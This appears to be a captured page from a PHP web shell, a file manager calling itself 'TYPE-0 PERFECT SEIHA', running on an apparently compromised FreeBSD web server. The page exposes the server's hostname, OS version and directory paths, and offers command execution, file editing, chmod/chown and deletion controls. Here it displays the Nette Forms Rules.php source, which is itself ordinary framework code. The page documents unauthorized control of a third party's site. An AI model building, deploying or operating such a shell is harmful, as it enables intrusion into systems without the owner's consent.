TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
addlogo
home
vendor
nette
forms
src
Forms
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/addlogo/home/vendor/nette/forms/src/Forms/Rules.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * Copyright (c) 2004 David Grudl (http://davidgrudl.com) */ namespace Nette\Forms; use Nette; /** * List of validation & condition rules. */ class Rules extends Nette\Object implements \IteratorAggregate { /** @deprecated */ public static $defaultMessages; /** @var Rule */ private $required; /** @var Rule[] */ private $rules = array(); /** @var Rules */ private $parent; /** @var array */ private $toggles = array(); /** @var IControl */ private $control; public function __construct(IControl $control) { $this->control = $control; } /** * Makes control mandatory. * @param mixed state or error message * @return self */ public function setRequired($value = TRUE) { if ($value) { $this->addRule(Form::REQUIRED, is_string($value) ? $value : NULL); } else { $this->required = NULL; } return $this; } /** * Is control mandatory? * @return bool */ public function isRequired() { return $this->required instanceof Rule ? !$this->required->isNegative : FALSE; } /** * Adds a validation rule for the current control. * @param mixed rule type * @param string message to display for invalid data * @param mixed optional rule arguments * @return self */ public function addRule($validator, $message = NULL, $arg = NULL) { $rule = new Rule; $rule->control = $this->control; $rule->validator = $validator; $this->adjustOperation($rule); $rule->arg = $arg; $rule->message = $message; if ($rule->validator === Form::REQUIRED) { $this->required = $rule; } else { $this->rules[] = $rule; } return $this; } /** * Adds a validation condition and returns new branch. * @param mixed condition type * @param mixed optional condition arguments * @return self new branch */ public function addCondition($validator, $arg = NULL) { return $this->addConditionOn($this->control, $validator, $arg); } /** * Adds a validation condition on specified control a returns new branch. * @param IControl form control * @param mixed condition type * @param mixed optional condition arguments * @return self new branch */ public function addConditionOn(IControl $control, $validator, $arg = NULL) { $rule = new Rule; $rule->control = $control; $rule->validator = $validator; $this->adjustOperation($rule); $rule->arg = $arg; $rule->branch = new static($this->control); $rule->branch->parent = $this; $this->rules[] = $rule; return $rule->branch; } /** * Adds a else statement. * @return self else branch */ public function elseCondition() { $rule = clone end($this->parent->rules); $rule->isNegative = !$rule->isNegative; $rule->branch = new static($this->parent->control); $rule->branch->parent = $this->parent; $this->parent->rules[] = $rule; return $rule->branch; } /** * Ends current validation condition. * @return Rules parent branch */ public function endCondition() { return $this->parent; } /** * Adds a filter callback. * @param callable * @return self */ public function addFilter($filter) { Nette\Utils\Callback::check($filter); $this->rules[] = $rule = new Rule; $rule->control = $this->control; $rule->validator = function (IControl $control) use ($filter) { $control->setValue(call_user_func($filter, $control->getValue())); return TRUE; }; return $this; } /** * Toggles HTML element visibility. * @param string element id * @param bool hide element? * @return self */ public function toggle($id, $hide = TRUE) { $this->toggles[$id] = $hide; return $this; } /** * @param bool * @return array */ public function getToggles($actual = FALSE) { return $actual ? $this->getToggleStates() : $this->toggles; } /** * @internal * @return array */ public function getToggleStates($toggles = array(), $success = TRUE) { foreach ($this->toggles as $id => $hide) { $toggles[$id] = ($success xor !$hide) || !empty($toggles[$id]); } foreach ($this as $rule) { if ($rule->branch) { $toggles = $rule->branch->getToggleStates($toggles, $success && static::validateRule($rule)); } } return $toggles; } /** * Validates against ruleset. * @return bool */ public function validate() { foreach ($this as $rule) { $success = $this->validateRule($rule); if ($success && $rule->branch && !$rule->branch->validate()) { return FALSE; } elseif (!$success && !$rule->branch) { $rule->control->addError(Validator::formatMessage($rule, TRUE)); return FALSE; } } return TRUE; } /** * Validates single rule. * @return bool */ public static function validateRule(Rule $rule) { $args = is_array($rule->arg) ? $rule->arg : array($rule->arg); foreach ($args as & $val) { $val = $val instanceof IControl ? $val->getValue() : $val; } return $rule->isNegative xor call_user_func(self::getCallback($rule), $rule->control, is_array($rule->arg) ? $args : $args[0]); } /** * Iterates over complete ruleset. * @return \ArrayIterator */ public function getIterator() { $rules = $this->rules; if ($this->required) { array_unshift($rules, $this->required); } return new \ArrayIterator($rules); } /** * Process 'operation' string. * @param Rule * @return void */ private function adjustOperation($rule) { if (is_string($rule->validator) && ord($rule->validator[0]) > 127) { $rule->isNegative = TRUE; $rule->validator = ~$rule->validator; } if (!is_callable($this->getCallback($rule))) { $validator = is_scalar($rule->validator) ? " '$rule->validator'" : ''; throw new Nette\InvalidArgumentException("Unknown validator$validator for control '{$rule->control->name}'."); } } private static function getCallback($rule) { $op = $rule->validator; if (is_string($op) && strncmp($op, ':', 1) === 0) { return 'Nette\Forms\Validator::validate' . ltrim($op, ':'); } else { return $op; } } } Rules::$defaultMessages = & Validator::$messages;
Crotin
Name
Size
Permissions
Modified
User/Group
Form.php
13047
0644
2015-09-30 18:28:50
Unknown/Unknown
Rendering
-
0755
2015-09-30 18:29:12
Unknown/Unknown
Rule.php
541
0644
2015-09-30 18:28:50
Unknown/Unknown
ISubmitterControl.php
470
0644
2015-09-30 18:28:49
Unknown/Unknown
Container.php
11964
0644
2015-09-30 18:28:49
Unknown/Unknown
Helpers.php
6148
0644
2015-09-30 18:28:49
Unknown/Unknown
IControl.php
880
0644
2015-09-30 18:28:50
Unknown/Unknown
ControlGroup.php
2073
0644
2015-09-30 18:28:50
Unknown/Unknown
Rules.php
6177
0644
2015-09-30 18:28:50
Unknown/Unknown
Controls
-
0755
2015-09-30 18:29:12
Unknown/Unknown
Validator.php
8424
0644
2015-09-30 18:28:50
Unknown/Unknown
IFormRenderer.php
350
0644
2015-09-30 18:28:49
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin